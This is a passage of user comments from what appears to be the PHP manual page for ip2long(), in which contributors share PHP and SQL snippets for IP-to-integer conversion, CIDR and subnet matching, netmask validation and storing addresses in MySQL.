        foreach($allowed_ips as $allowed_ip)
        {
            $type = $this -> _judge_ip_type($allowed_ip);
            $sub_rst = call_user_func(array($this,'_sub_checker_' . $type), $allowed_ip, $ip);

            if ($sub_rst)
            {
                return true;
            }
        }

        return false;
    }

    private function _judge_ip_type($ip)
    {
        if (strpos($ip, '*'))
        {
            return self :: $_IP_TYPE_WILDCARD;
        }

        if (strpos($ip, '/'))
        {
            return self :: $_IP_TYPE_MASK;
        }

        if (strpos($ip, '-'))
        {
            return self :: $_IP_TYPE_SECTION;
        }

        if (ip2long($ip))
        {
            return self :: $_IP_TYPE_SINGLE;
        }

        return false;
    }

    private function _sub_checker_single($allowed_ip, $ip)
    {
        return (ip2long($allowed_ip) == ip2long($ip));
    }

    private function _sub_checker_wildcard($allowed_ip, $ip)
    {
        $allowed_ip_arr = explode('.', $allowed_ip);
        $ip_arr = explode('.', $ip);
        for($i = 0;$i < count($allowed_ip_arr);$i++)
        {
            if ($allowed_ip_arr[$i] == '*')
            {
                return true;
            }
            else
            {
                if (false == ($allowed_ip_arr[$i] == $ip_arr[$i]))
                {
                    return false;
                }
            }
        }
    }

    private function _sub_checker_mask($allowed_ip, $ip)
    {
        list($allowed_ip_ip, $allowed_ip_mask) = explode('/', $allowed_ip);
        $begin = (ip2long($allowed_ip_ip) &ip2long($allowed_ip_mask)) + 1;
        $end = (ip2long($allowed_ip_ip) | (~ip2long($allowed_ip_mask))) + 1;
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }

    private function _sub_checker_section($allowed_ip, $ip)
    {
        list($begin, $end) = explode('-', $allowed_ip);
        $begin = ip2long($begin);
        $end = ip2long($end);
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }
}
?>

useage:
<?php
$filter = new IPFilter(
    array(
        '127.0.0.1',
        '172.0.0.*',
        '173.0.*.*',
        '126.1.0.0/255.255.0.0',
        '125.0.0.1-125.0.0.9',
));
$filter -> check('126.1.0.2');
?>
me at iaincollins dot com 19-May-2010 12:37
I would just like to try and clear up simply that if storing IPV4 addresses in an SQL database you should use an unsigned int (4 bytes).

The easiest way to do this in PHP is to use sprintf():

<?php
 $dottedFormatAddress = '127.0.0.1';
 $ipv4address = sprintf("%u", ip2long($dottedFormatAddress));
?>

Primary reasons are it's compatible with database functions like MySQL's INET_ATON & INET_NTOA (which also use unsigned int's), it's efficient,  and it's the most common format used by IP lookup databases.
Mam(O)n 23-Jan-2010 12:37
Another CIDR function, but with sanity check:
<?php
function mask2prefix($mask)
{
    if (($long = ip2long($mask)) === false)
        return false;
    for ($prefix = 0; $long & 0x80000000; ++$prefix, $long <<= 1) {}
    if ($long != 0)
        return false;
    return $prefix;
}
?>
joe at joeceresini dot com 25-Nov-2009 02:45
A quick method to convert a netmask (ex: 255.255.255.240) to a cidr mask (ex: /28):

<?php
function mask2cidr($mask){
  $long = ip2long($mask);
  $base = ip2long('255.255.255.255');
  return 32-log(($long ^ $base)+1,2);

  /* xor-ing will give you the inverse mask,
      log base 2 of that +1 will return the number
      of bits that are off in the mask and subtracting
      from 32 gets you the cidr notation */

}
?>
f dot wiessner at smart-weblications dot net 07-Nov-2009 03:12
Here some working ip2long6 and long2ip6 functions - keep in mind that this needs php gmp-lib:

<?php

$ipv6 = "2001:4860:a005::68";

function ip2long6($ipv6) {
  $ip_n = inet_pton($ipv6);
  $bits = 15; // 16 x 8 bit = 128bit
  while ($bits >= 0) {
    $bin = sprintf("%08b",(ord($ip_n[$bits])));
    $ipv6long = $bin.$ipv6long;
    $bits--;
  }
  return gmp_strval(gmp_init($ipv6long,2),10);
}

function long2ip6($ipv6long) {

  $bin = gmp_strval(gmp_init($ipv6long,10),2);
  if (strlen($bin) < 128) {
    $pad = 128 - strlen($bin);
    for ($i = 1; $i <= $pad; $i++) {
    $bin = "0".$bin;
    }
  }
  $bits = 0;
  while ($bits <= 7) {
    $bin_part = substr($bin,($bits*16),16);
    $ipv6 .= dechex(bindec($bin_part)).":";
    $bits++;
  }
  // compress

  return inet_ntop(inet_pton(substr($ipv6,0,-1)));
}

print $ipv6long =  ip2long6($ipv6)."\n";
print $ipv6 = long2ip6($ipv6long)."\n";

?>

outputs:

42541956150894553250710573749450571880
2001:4860:a005::68
david dot schueler at tel-billig dot de 27-Oct-2009 03:41
To get the network adress out of the broadcast adress and netmask just to an AND on it:

<?php
// simple example
$bcast = ip2long("192.168.178.255");
$smask = ip2long("255.255.255.0");
$nmask = $bcast & $smask;
echo long2ip($nmask); // Will give 192.168.178.0
?>

With this example you are able to check if a given host is in your own local net or not (on linux):

<?php
/**
 * Check if a client IP is in our Server subnet
 *
 * @param string $client_ip
 * @param string $server_ip
 * @return boolean
 */
function clientInSameSubnet($client_ip=false,$server_ip=false) {
    if (!$client_ip)
        $client_ip = $_SERVER['REMOTE_ADDR'];
    if (!$server_ip)
        $server_ip = $_SERVER['SERVER_ADDR'];
    // Extract broadcast and netmask from ifconfig
    if (!($p = popen("ifconfig","r"))) return false;
    $out = "";
    while(!feof($p))
        $out .= fread($p,1024);
    fclose($p);
    // This is because the php.net comment function does not
    // allow long lines.
    $match  = "/^.*".$server_ip;
    $match .= ".*Bcast:(\d{1,3}\.\d{1,3}i\.\d{1,3}\.\d{1,3}).*";
    $match .= "Mask:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/im";
    if (!preg_match($match,$out,$regs))
        return false;
    $bcast = ip2long($regs[1]);
    $smask = ip2long($regs[2]);
    $ipadr = ip2long($client_ip);
    $nmask = $bcast & $smask;
    return (($ipadr & $smask) == ($nmask & $smask));
}
?>
joshua_r108 at hotmail dot com 02-Aug-2009 08:30
I wrote something on the different ways to get an IP and convert it using ip2long(), the different ways to store an IP or an IP range in MySQL, and the different ways to query for the IP(s). Maybe something useful for others?

http://strictcoder.blogspot.com/2009_08_01_archive.html
Title: Query For An IP In A Database

Regards,
Joshua K Roberson
jwadhams1 at yahoo dot com 29-Jul-2009 12:41
I wanted to build on what kaputt and spinyn contributed in a way that I think is a little more intuitive (e.g., let sprintf do all the binary conversion and padding, and let substr_compare do the trimming and comparing):

<?php
function ip_in_network($ip, $net_addr, $net_mask){
    if($net_mask <= 0){ return false; }
        $ip_binary_string = sprintf("%032b",ip2long($ip));
        $net_binary_string = sprintf("%032b",ip2long($net_addr));
        return (substr_compare($ip_binary_string,$net_binary_string,0,$net_mask) === 0);
}

ip_in_network("192.168.2.1","192.168.2.0",24); //true
ip_in_network("192.168.6.93","192.168.0.0",16); //true
ip_in_network("1.6.6.6","128.168.2.0",1); //false
?>
spinyn at gmail dot com 17-Apr-2009 04:51
Just want to add a comment to kaputt's valuable contribution to the task of matching hosts to ip ranges, efficiently.  The script works fine if the binary representation of the ip involves no leading zeros.  Unfortunately, the way decbin() seems to work, leading zeros in the binary representation of the first ip quad get dropped.  That is a serious matter if you're trying to match all possible candidates in the checklist.  In those cases the leading zeros need to be added back to get accurate matches for values in the first quad between 0-127 (or the binary equivalent, 0-01111111).

The solution I came up with to address this issue was the following function:

<?php
function addLeadingZero($ip) {
   if (($result = (32 - strlen($ip))) > 0)
      return str_repeat("0", $result).$ip;
}
?>
Anonymous 18-Feb-2009 08:43
To always get the signed 32bit representation of an ip, I found this workaround:
<?php
list(, $ip) = unpack('l',pack('l',ip2long('200.200.200.200')));
?>

In this example, $ip will be -926365496 regardless of a 32 or 64 bit system.
randolf 20-Jan-2009 10:19
Convert IP to unsigned long

<?php
//$strIP  :   IP in String-format
//$lngIP  :   IP in unsigned long

if (($lngIP=ip2long($strIP)) < 0){ $lngIP += 4294967296 ;}

                                                       // ADD 2^32

thats all.
?>
kaputt at starnet dot md 04-Nov-2008 08:47
Hi all!

I've maded simple script that allow you filter traffic by networks, like if you want to deny 192.168.0.0/24

I used ncritten's myip2long function for this.

Sorry for such non-optimized code, but it works enough good =)

file iplist.txt:
192.168.0.0/24
172.16.0.0/16
10.0.0.0/8

<?php
########### ncritten's function myip2long

function myip2long($ip) {
   if (is_numeric($ip)) {
       return sprintf("%u", floatval($ip));
   } else {
       return sprintf("%u", floatval(ip2long($ip)));
   }
}

########### function to chek ip if it in one of denyied/allowed networks =)

function ipfilter($ip) {
   $match = 0;

### converting ip address in binary
   $ip_addr = decbin(myip2long($ip));

### the file wich contains allowed/denyied networks
   if (fopen("iplist.txt", "r")) {
       $source = file("iplist.txt");

       foreach ($source as $line) {

### exploding each network to obtaid network address and cidr
           $network = explode("/", $line);
           $net_addr = decbin(myip2long($network[0]));
           $cidr = $network[1];

### and finaly cheking quantity of network bits from left to right wich is equal to cidr is equal to the same bits of ip address
           if (substr($net_addr, 0, $cidr) == substr($ip_addr, 0, $cidr)) {
               $match = 1;
               break;
           }
       }
   }
   return $match;
}

### this function will return 1 if IP match to some network or 0 if will not match

### and finaly the chek will be like this

$user_ip = $_SERVER['REMOTE_ADDR'];

if (ipfilter($user_ip) == 1)  echo "allowed!";
else echo "deny!";

?>

Good Luck!

P.S. Sorry for my bad english =)
Teguh Iskanto - Kamprettos at yahoo 29-Aug-2008 06:53
to Anonymous @ 29-Aug-2008 10:19

If you're speaking about efficiency, there's no absolute right / wrong as it all depends on the user's needs, specs and requirements.

But from what I'm coming from , this method served me well,  I've used this to match 2 network ends of approx 2700++ something unique VRFs (Nortel Shasta) and yes, each VRF is a virtualized firewall that consists of at least 20 different network objects (some could have couple of hundreds). Not to mention that these , still have to be compared with another hundreds of contivity boxes and each box have a range of around 1-600 vpn peers (to add more complexity, each peer has around 1-50 network ranges).

So, if you do the math, the number of permutations that need to be calculated, is indeed quite complex. I could get the whole result somewhere in around 50-65 secs tops.

Had I used a php function to crunch those data the result would have been longer.
Anonymous 29-Aug-2008 02:19
@Teguh Iskanto

Hi,

Your solution requires you to store the IP addresses and masks as strings, and also to store the subnet mask being used by your hosts.  This is very inefficient.

If you stored your network addresses as unsigned Integers, and your masks as TinyInts (i.e. a value between 0 & 32), you could instead do this:

select * from networks WHERE inet_aton('10.20.251.130') between `ipnumber` AND (`ipnumber` + (POW(2,(32-`mask`)))-1);

Obviously this can be made quicker on very high load systems by storing the broadcast address in the table instead of calculating it on the fly:

select * from networks WHERE inet_aton('10.20.251.130') between `ipnumber` AND `broadcast`;

Nick
ncritten at gmail dot youknowwhat 29-Aug-2008 01:58
Hi,
Please find below a little function I wrote for handling IP addresses as unsigned integers.
This function will take an IP address or IP number in ANY FORMAT (that I can think of) and will return it's decimal unsigned equivalent, as a string.

<?php
function myip2long($ip){
    if (is_numeric($ip)){
        return sprintf("%u", floatval($ip));
    } else {
        return sprintf("%u", floatval(ip2long($ip)));
    }
}
?>

Here is is in action:

<?php
$ip['DottedQuadDec'] = "192.168.255.109";
$ip['PosIntStr']     = "3232300909";
$ip['NegIntStr']     = "-1062666387";
$ip['PosInt']        = 3232300909;
$ip['NegInt']        = -1062666387;
$ip['DottedQuadHex'] = "0xc0.0xA8.0xFF.0x6D";
$ip['DottedQuadOct'] = "0300.0250.0377.0155";
$ip['HexIntStr']     = "0xC0A8FF6D";
$ip['HexInt']        = 0xC0A8FF6D;

printf("\n% 16s : % 20s => % 11s => % 16s","Input Type","Input Value","Converted","Converted Back");
echo "\n    ------------------------------------------------------------------";
foreach ($ip as $type => $value){
    $ipnum = myip2long($value);
    printf("\n% 16s : % 20s => % 11s => % 16s",$type,$value,$ipnum,long2ip($ipnum));
}
?>
Teguh Iskanto - Kamprettos_at_yahoo 27-Aug-2008 04:40
A quick way to find which IP address belong to which network , *without* even creating a single PHP function (pure SQL)

Scenario :
- I have one table that has a list of host ip addresses
- I have another table that list all the networks' addresses
- I need to find which host belongs to which network

nodes table
+-------------+-----------------+-------+
| ip          | mask            | name  |
+-------------+-----------------+-------+
| 192.168.1.1 | 255.255.255.0   | node1 |
| 192.168.1.1 | 255.255.255.252 | node2 |
| 192.168.2.1 | 255.255.255.252 | node3 |
+-------------+-----------------+-------+

network1 table
+-------------+---------------+------+
| ipaddr      | netmask       | name |
+-------------+---------------+------+
| 192.168.1.0 | 255.255.255.0 | net1 |
| 192.168.2.0 | 255.255.255.0 | net2 |
| 192.168.3.0 | 255.255.255.0 | net3 |
| 192.168.4.0 | 255.255.255.0 | net4 |
+-------------+---------------+------+

Solution 1 - with PHP ( Long ... ) :
1. create a PHP function that will calculate and compare IP address with the network
2. extract data from the table nodes, calculate the IP with its mask using a PHP function to get the network address
3.  do the same with table network1
4. compare result 2 and result 3 , once finished put them into an array to be presented as an HTML
5. done

Solution 2 - With SQL ( Very Very Fast & Short ) :
1. create sql with 'inet_aton' function + table joins
2. extract the data from sql outputs
3. done

how :
SQL :
select a.name as host_name,
a.ip as host_ip,
b.name as net_name
from nodes a, network1 b
where (inet_aton(a.ip) & inet_aton(a.mask) = inet_aton(b.ipaddr) & inet_aton(b.netmask));

Results :
Voilla ...
+-----------+-------------+----------+
| host_name | host_ip     | net_name |
+-----------+-------------+----------+
| node1     | 192.168.1.1 | net1     |
| node2     | 192.168.1.1 | net1     |
| node3     | 192.168.2.1 | net2     |
+-----------+-------------+----------+

Hope this helps
herwin at snt dot utwente nl 04-Jun-2008 05:50
The code examples explain why printing needs a casting, but beware that also calculations are performed with signed integers. In my case, the result of (ip2long('130.89.0.1') >> 24) was supposed to be 130, but the actual result was -126
chrisp-phpnet at inventivedingo dot com 31-May-2008 04:36
I had a problem with calling this function with REMOTE_ADDR on my lighttpd web server. Turned out that IPv6 was installed on this server, so even though REMOTE_ADDR was an IPv4 address, it was being formatted using IPv6's IPv4 compatibility mode. For example, 10.0.0.1 was becoming ::ffff:10.0.0.1, which caused iplong to report the address as invalid instead of parsing it correctly.

The correct fix would of course be to update my infrastructure so that it's properly IPv6-compatible; but in the context of my particular situation, this would involve a lot of re-engineering. So in the meantime, I worked around the issue using this quick and dirty hack:

<?php
    $ip = htmlspecialchars($_SERVER['REMOTE_ADDR']);
    if (strpos($ip, '::') === 0) {
        $ip = substr($ip, strrpos($ip, ':')+1);
    }
    $host = ip2long($ip);
?>

Ugly but functional.
jpmarcotte at gmail dot com 21-May-2008 12:10
In using a combination of jbothe's code below and some of the "$mask = 0xFFFFFFFF << (32 - $bits)" type code, I ran into an error with some later calculations on a 64 bit machine.

Keep in mind that when you're analyzing numbers meant to be treated as 32 bits wide (such as IP addresses), you may want to truncate them. Without relying on other libraries, it was simple enough to follow any calculations that may end with different results on a 64 bit machine with " & 0xFFFFFFFF"

Though in many cases, it seems like it might be simpler to just use "~0 << ..." for initial shifting to create the network mask instead of "0xFFFFFFFF << ...". I don't know that it guarantees further operations to work as expected though.
lutel 09-Apr-2008 01:45
here is netMatch function which is the fastest I could wrote, I hope developers will include native function soon...

<?php
function netMatch ($CIDR,$IP) {
    list ($net, $mask) = explode ('/', $CIDR);
    return ( ip2long ($IP) & ~((1 << (32 - $mask)) - 1) ) == ip2long ($net);
}
?>
php dot net at kenman dot net 01-Apr-2008 07:02
To nate, who advises that there is no reason to use an unsigned version of the IP in a MySQL DB:

I think it would depend on your application, but personally, I find it useful to store IP's as unsigneds since MySQL has 2 native functions, INET_ATON() and INET_NTOA(), which work the same as ip2long()/long2ip() _except_ that they generate the unsigned counterpart. So if you want, you could do:

-- IANA Class-B reserved/private
SELECT * FROM `servers`
WHERE `ip` >= INET_ATON('192.168.0.0')
AND `ip` <= INET_ATON('192.168.255.255');

In my current application, I find it easier to use the MySQL built-ins than the PHP counter-parts.

In case you're curious as to the names ATON and NTOA:

ATON = address to number aka. ip2long
NTOA = number to address aka. long2ip
johniskew at yahoo dot com 24-Mar-2008 07:14
The following function ipToHex will take an IP (v4 or v6 formatted) and if it is valid, will return a 32 byte hex string representing that address.  Requires php >= 5.2 as it uses the filter_var function.

<?php

function ipToHex($ipAddress) {
    $hex = '';
    if(strpos($ipAddress, ',') !== false) {
        $splitIp = explode(',', $ipAddress);
        $ipAddress = trim($splitIp[0]);
    }
    $isIpV6 = false;
    $isIpV4 = false;
    if(filter_var($ipAddress, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false) {
        $isIpV6 = true;
    }
    else if(filter_var($ipAddress, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) {
        $isIpV4 = true;
    }
    if(!$isIpV4 && !$isIpV6) {
        return false;
    }
    // IPv4 format
    if($isIpV4) {
        $parts = explode('.', $ipAddress);
        for($i = 0; $i < 4; $i++) {
            $parts[$i] = str_pad(dechex($parts[$i]), 2, '0', STR_PAD_LEFT);
        }
        $ipAddress = '::'.$parts[0].$parts[1].':'.$parts[2].$parts[3];
        $hex = join('', $parts);
    }
    // IPv6 format
    else {
        $parts = explode(':', $ipAddress);
        // If this is mixed IPv6/IPv4, convert end to IPv6 value
        if(filter_var($parts[count($parts) - 1], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) {
            $partsV4 = explode('.', $parts[count($parts) - 1]);
            for($i = 0; $i < 4; $i++) {
                $partsV4[$i] = str_pad(dechex($partsV4[$i]), 2, '0', STR_PAD_LEFT);
            }
            $parts[count($parts) - 1] = $partsV4[0].$partsV4[1];
            $parts[] = $partsV4[2].$partsV4[3];
        }
        $numMissing = 8 - count($parts);
        $expandedParts = array();
        $expansionDone = false;
        foreach($parts as $part) {
            if(!$expansionDone && $part == '') {
                for($i = 0; $i <= $numMissing; $i++) {
                    $expandedParts[] = '0000';
                }
                $expansionDone = true;
            }
            else {
                $expandedParts[] = $part;
            }
        }
        foreach($expandedParts as &$part) {
            $part = str_pad($part, 4, '0', STR_PAD_LEFT);
        }
        $ipAddress = join(':', $expandedParts);
        $hex = join('', $expandedParts);
    }
    // Validate the final IP
    if(!filter_var($ipAddress, FILTER_VALIDATE_IP)) {
        return false;
    }
    return strtolower(str_pad($hex, 32, '0', STR_PAD_LEFT));
}
$ips = array(
    '::192.168.0.2',
    '0:0:0:0:0:0:192.168.0.2',
    '192.168.0.2',
    '::C0A8:2',
    '0:0:0:0:0:0:C0A8:2'
);
$finals = array();
foreach($ips as $ip) {
    $finals[] = ipToHex($ip);
}
var_dump($finals);

?>
og_sam at homail dot com 16-Mar-2008 04:15
@ samb057 at gmail dot com

This function will not return a correct bigint.

base_convert() is limited to the double type,
which usually counts 64bits and not 128 like an IPv6 address.

For example:

FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF

will __NOT__ be converted to 128^2 -1

You should use a bigint lib's multiplication function,
with decimal shifting factors defined as string constants (much faster than recalculating them every time).
Grab 8 short integers (the 16bits between the ':' with base_convert($hex,16,10)) and shift the 7 higher ones with a bigint_multiplication.

Of course you can also do it with less bigint ops using 32bit integers, but then you should create them this way (additionally 'sprintf' for making an uint32 string):
$uint32= sprintf('%u',intval(base_convert($hex,16,10)));

Finally, "bigint_add" the shifted ones to the least (unshifted) significant interger string and be happy

PS: I'm working on an IPv4/6 tool class with raw (also endianness), 6/4 compatibility and validation methods,
I'll post it here as soon as it's finished and tested.
mhakopian at gmail dot com 11-Feb-2008 08:46
Just a little function to check visitor's ip if it is in given range or not (I couldn't find anywhere so i improvise):

<?php
function in_ip_range($ip_one, $ip_two=false){
    if($ip_two===false){
        if($ip_one==$_SERVER['REMOTE_ADDR']){
            $ip=true;
        }else{
            $ip=false;
        }
    }else{
        if(ip2long($ip_one)<=ip2long($_SERVER['REMOTE_ADDR']) && ip2long($ip_two)>=ip2long($_SERVER['REMOTE_ADDR'])){
            $ip=true;
        }else{
            $ip=false;
        }
    }
    return $ip;
}
//usage
echo in_ip_range('192.168.0.0','192.168.1.254');
?>
curda2 at hotmail dot com - Dim Works dot org 11-Feb-2008 08:01
The things that this function do is:

Structure of function:

<?php

$ip = getenv(REMOTE_ADDR);
$numbers=explode (".",$ip);
$code=($numbers[0] * 16777216) + ($numbers[1] * 65536) + ($numbers[2] * 256) + ($numbers[3]);
//$code is the final variant

?>

that is similar to do this:

<?php

$ip = getenv(REMOTE_ADDR);
$code=ip2long($ip);
//$code is the final variant

?>
dbemowsk 26-Jan-2008 04:41
A common way to express IP addresses and subnet masks is to use what is refered to as slash notation.  Instead of writing out:
IP = 192.168.100.2
Subnet Mask = 255.255.240.0
Writing out "192.168.100.2/20" is much shorter.

If you are looking for a way to convert a subnet mask into it's slash notation counterpart, here is a single line of code that can perform this task.

<?php
$slash_notation = strlen(preg_replace("/0/", "", decbin(ip2long($subnet_mask))));
?>

For example...
A subnet mask of 255.255.240.0 expressed in binary looks like this:
11111111111111111111000000000000
This gives us a slash notation of 20 which is simply counting the number of 1's in the masks binary representation.

Here is a function that uses this code to return an IP address and subnet mask in slash notation.

<?php
function slash_notation($ip, $mask) {
  return $ip."/".strlen(preg_replace("/0/", "", decbin(ip2long($mask))));
}
?>

calling slash_notation("192.168.100.2", "255.255.255.0"); will return "192.168.100.2/24".

Hope this is of use to some of you out there.
nate 18-Dec-2007 10:44
Thanks to sealbreaker for the conversion method. I'd seen <?php (ip2long($ip) & 0x7FFFFFFF) + 0x80000000 ?> before, but noticed it didn't work on all ips. You've discovered why. :)

In case anyone is wondering what sealbreaker means by obtaining an "integer value", s/he means an unsigned int, vs the signed version ip2long provides. Well, technically this conversion will sometimes give you a float since php's integer type is signed.

The good news is that long2ip will correctly handle converting these signed versions back into ips.

So, to get an unsigned version of an ip (ie, always >= 0):

<?php

$ip = '127.0.0.1';

// may return a php int or float
$signed = substr($ip, 0, 3) > 127 ? ((ip2long($ip) & 0x7FFFFFFF) + 0x80000000) : ip2long($ip);

// will return a string version
$signed2 = sprintf('%u', ip2long($ip));

var_dump($signed, $signed2, long2ip($signed), long2ip($signed2));

?>

P.S.: If you're storing IPs in MySQL, there is NO POINT in converting to these unsigned values to place in an INT UNSIGNED column. Just use an INT SIGNED column, and directly use the result from ip2long. The only reason you should really need to force your ip2long result into its unsigned version is if you need to compare them with another source that uses unsigned (ie: some IP database lookup utils use unsigned).
sealbreaker at email dot com 03-Nov-2007 09:47
As a note : if you are using (PHP 4, PHP 5) and are looking to get the integer value of an IP address, i have found that the following works flawlessly for converting to and from IPv4 and it's integer equivalent. I must give credit elsewhere for this portion of the code (ip2long($ip) & 0x7FFFFFFF) + 0x80000000). I looked but was unable to find the comment where it was included.

$ip = "127.0.0.0"; // as an example

$integer_ip = (substr($ip, 0, 3) > 127) ? ((ip2long($ip) & 0x7FFFFFFF) + 0x80000000) : ip2long($ip);

echo $integer_ip; // integer value of IP address
echo long2ip($integer_ip); // convert to an IPv4 formatted address
-----------------------
Results are as follows:
-----------------------
2130706432
127.0.0.0
-----------------------
255.255.255.255 (converts to) 4294967295 (and back to) 255.255.255.255
209.65.0.0 (converts to) 3510697984 (and back to) 209.65.0.0
12.0.0.0 (converts to) 201326592 (and back to) 12.0.0.0
1.0.0.0 (converts to) 16777216 (and back to) 1.0.0.0
ir on ir id is at gm ai ld ot co m 21-Oct-2007 08:54
Keep in mind that storing IP addresses inside of your database as integers (rather than 15 character strings in decimal format, or 8 character strings in hex format) is hundreds of times faster.

Take the typical case of a MySQL database doing a search for an IP address on thousands (or millions!) of rows; you're either doing a string compare for each entry, or an integer equation. If you do your indexes correctly, your lookups should be literally 100x faster using an INT rather than a VARCHAR.

Also note that an integer doesn't need to be escaped when passed to a database. :)
andrew dot minerd at sellingsource dot com 21-Jul-2007 02:15
A somewhat more efficient alternative to convert the signed integer return by ip2long:

$float = ((ip2long($ip) & 0x7FFFFFFF) + 0x80000000);
one tiger one at gee mail dot comm 02-Apr-2007 04:49
I wrote a small function to validate a netmask (We have a form where the netmask of a given server is entered in, and I wanted to make sure it was valid). Hope this is useful.

<?php
// Netmask Validator //
function checkNetmask($ip) {
 if (!ip2long($ip)) {
  return false;
 } elseif(strlen(decbin(ip2long($ip))) != 32 && ip2long($ip) != 0) {
  return false;
 } elseif(ereg('01',decbin(ip2long($ip))) || !ereg('0',decbin(ip2long($ip)))) {
  return false;
 } else {
  return true;
 }
}
?>
laacz at php dot net 16-Feb-2007 10:06
Just to save you some time.

Beware that octets in IP address are being treated as numbers. So, '10.0.0.11' is not equal to '10.0.0.011'. '011' is octal number (base 8), so it converts to '9'. You can even go further and see that '10.0.0.0xa' also works (equals to '10.0.0.16').

This is not PHP issue, though.
samb057 at gmail dot com 26-Dec-2006 09:37
Convert an ipv6 address to an base 10 integer

<?php
function ip2long6($ip)
    {
        if (substr_count($ip, '::'))
            {
                $ip = str_replace('::', str_repeat(':0000', 8 - substr_count($ip, ':')) . ':', $ip) ;
            }

        $ip = explode(':', $ip) ;

        $r_ip = '' ;
        foreach ($ip as $v)
            {
                $r_ip .= str_pad(base_convert($v, 16, 2), 16, 0, STR_PAD_LEFT) ;
            }

        return base_convert($r_ip, 2, 10) ;
    }
?>
samb057 at gmail dot com 26-Dec-2006 09:20
Here's a simple IP address match checking function.

It takes 3 arguments: ip address to check (after ip2long), ip address to check against (after ip2long), and mask to check against (integer 0-32).

Just make sure you perform ip2long on the ip addresses before inputting them to the function.

<?php
function match_ip($check_ip, $match_ip, $match_mask = 32)
    {
        for ($i = 0 ; $i < $match_mask ; $i++)
            {
                $n = pow(2, 31 - $i) ;
                if (($n & $check_ip) != ($n & $match_ip))
                    {
                        return FALSE ;
                    }
            }

        return TRUE ;
    }
?>

I've been looking for a function like this for a while, i hope it helps someone.
Ian B 24-Dec-2006 01:22
NOTE: ip2long() should NOT be used for CIDR calculation.
Instead, you should use something like the following:

<?php
        /* get the base and the bits from the ban in the database */
        list($base, $bits) = explode('/', $CIDR);

        /* now split it up into it's classes */
        list($a, $b, $c, $d) = explode('.', $base);

        /* now do some bit shfiting/switching to convert to ints */
        $i = ($a << 24) + ($b << 16) + ($c << 8) + $d;
        $mask = $bits == 0 ? 0 : (~0 << (32 - $bits));

        /* here's our lowest int */
        $low = $i & $mask;

        /* here's our highest int */
        $high = $i | (~$mask & 0xFFFFFFFF);

        /* now split the ip were checking against up into classes */
        list($a, $b, $c, $d) = explode('.', $iptocheck);

        /* now convert the ip we're checking against to an int */
        $check = ($a << 24) + ($b << 16) + ($c << 8) + $d;

        /* if the ip is within the range, including
      highest/lowest values, then it's witin the CIDR range */
        if ($check >= $low && $check <= $high)
            return 1;
       else
            return 0;
?>

This means that you should check to see if the IP
address is of the correct format each time.
jgwright 25-Oct-2006 09:13
Here is a modified version of the code posted by legetz81 (AT) yahoo (dot) com. It handles the shorter, and more common, notation: "189.128/11".

<?php

$ip_addr_cidr = "192.168.37.215/27";
cidr($ip_addr_cidr);

function cidr($ip_addr_cidr) {

$ip_arr = explode('/', $ip_addr_cidr);

$dotcount = substr_count($ip_arr[0], ".");
$padding = str_repeat(".0", 3 - $dotcount);
$ip_arr[0].=$padding;

$bin = '';
for($i=1;$i<=32;$i++) {
   $bin .= $ip_arr[1] >= $i ? '1' : '0';
}
$ip_arr[1] = bindec($bin);

$ip = ip2long($ip_arr[0]);
$nm = ip2long($ip_arr[1]);
$nw = ($ip & $nm);
$bc = $nw | (~$nm);

echo "Number of Hosts:    " . ($bc - $nw - 1) . "\n";
echo "Host Range:        " . long2ip($nw + 1) . " -> " . long2ip($bc - 1)  . "\n";

/*
This will produce:
Number of Hosts:    30
Host Range:        192.168.37.193 -> 192.168.37.222
*/

}

?>
dh06 at biztechwiz dot com 24-Oct-2006 06:59
I made one tiny change to Stephane's routine below when I had problems with spaces in an IP range.  I moved the trim function before the ip2long call.

Thanks Stephane!

Dirk.

<?php
function netMatch($network, $ip) {

   $network=trim($network);
   $ip = trim($ip);

   $d = strpos($network,"-");
   if ($d===false) {
       $ip_arr = explode('/', $network);

       if (!preg_match("@\d*\.\d*\.\d*\.\d*@",$ip_arr[0],$matches)){
           $ip_arr[0].=".0";    // Alternate form 194.1.4/24
       }

       $network_long = ip2long($ip_arr[0]);
       $x = ip2long($ip_arr[1]);

       $mask = long2ip($x) == $ip_arr[1] ? $x : (0xffffffff << (32 - $ip_arr[1]));
       $ip_long = ip2long($ip);

       return ($ip_long & $mask) == ($network_long & $mask);
   }
   else {
       $from = ip2long(trim(substr($network,0,$d)));
       $to = ip2long(trim(substr($network,$d+1)));

       $ip = ip2long($ip);
       return ($ip>=$from and $ip<=$to);
   }
}
?>
legetz81 (AT) yahoo (dot) com 30-Mar-2006 03:15
Here is a script that will calculate host range and number of hosts with a given ip address CIDR notation (modified code which was posted by phl AT cyways.com):

<?php
$ip_addr_cidr = "192.168.37.215/27";
$ip_arr = explode('/', $ip_addr_cidr);

$bin = '';
for($i=1;$i<=32;$i++) {
    $bin .= $ip_arr[1] >= $i ? '1' : '0';
}
$ip_arr[1] = bindec($bin);

$ip = ip2long($ip_arr[0]);
$nm = ip2long($ip_arr[1]);
$nw = ($ip & $nm);
$bc = $nw | (~$nm);

echo "Number of Hosts:    " . ($bc - $nw - 1) . "\n";
echo "Host Range:         " . long2ip($nw + 1) . " -> " . long2ip($bc - 1)  . "\n";
?>

This will produce:
Number of Hosts:    30
Host Range:         192.168.37.193 -> 192.168.37.222
01-Sep-2005 09:47
<?php
# m.ozarek
#
# Check if given mask is correct. You can check the short format mask
# like 8,16,24 or long format like 255.255.255.0
#

function isIpMask($mask){

    $format = '';
    if(preg_match("/[0-9]++\.[0-9]++\.[0-9]++\.[0-9]++/",$mask)){
        $format = "long";
    }else{
        if($mask<=30){
            $format = "short";
        }else{
            return false;
        }
    }
    switch($format){
        case long;
            $mask = decbin(ip2long($mask));
        break;
        case short:
            $tmp = $mask;
            for($i=0; $i < $mask ;$i++){
                $tmp.= 1;
            }
            for($j=0; $j < (32 - $mask);$j++){
                $tmp.= 0;
            }
            $mask = $tmp;
        break;
    }
    if(strlen($mask) <= 32){
        for($i=0;$i<=32 ;$i++){
            $bit = substr($mask,$i,1);
            if(($bit - substr($mask,$i+1,1)) < 0){
                return false;
            }
        }
    }
    return true;
}
# EXAMPLE
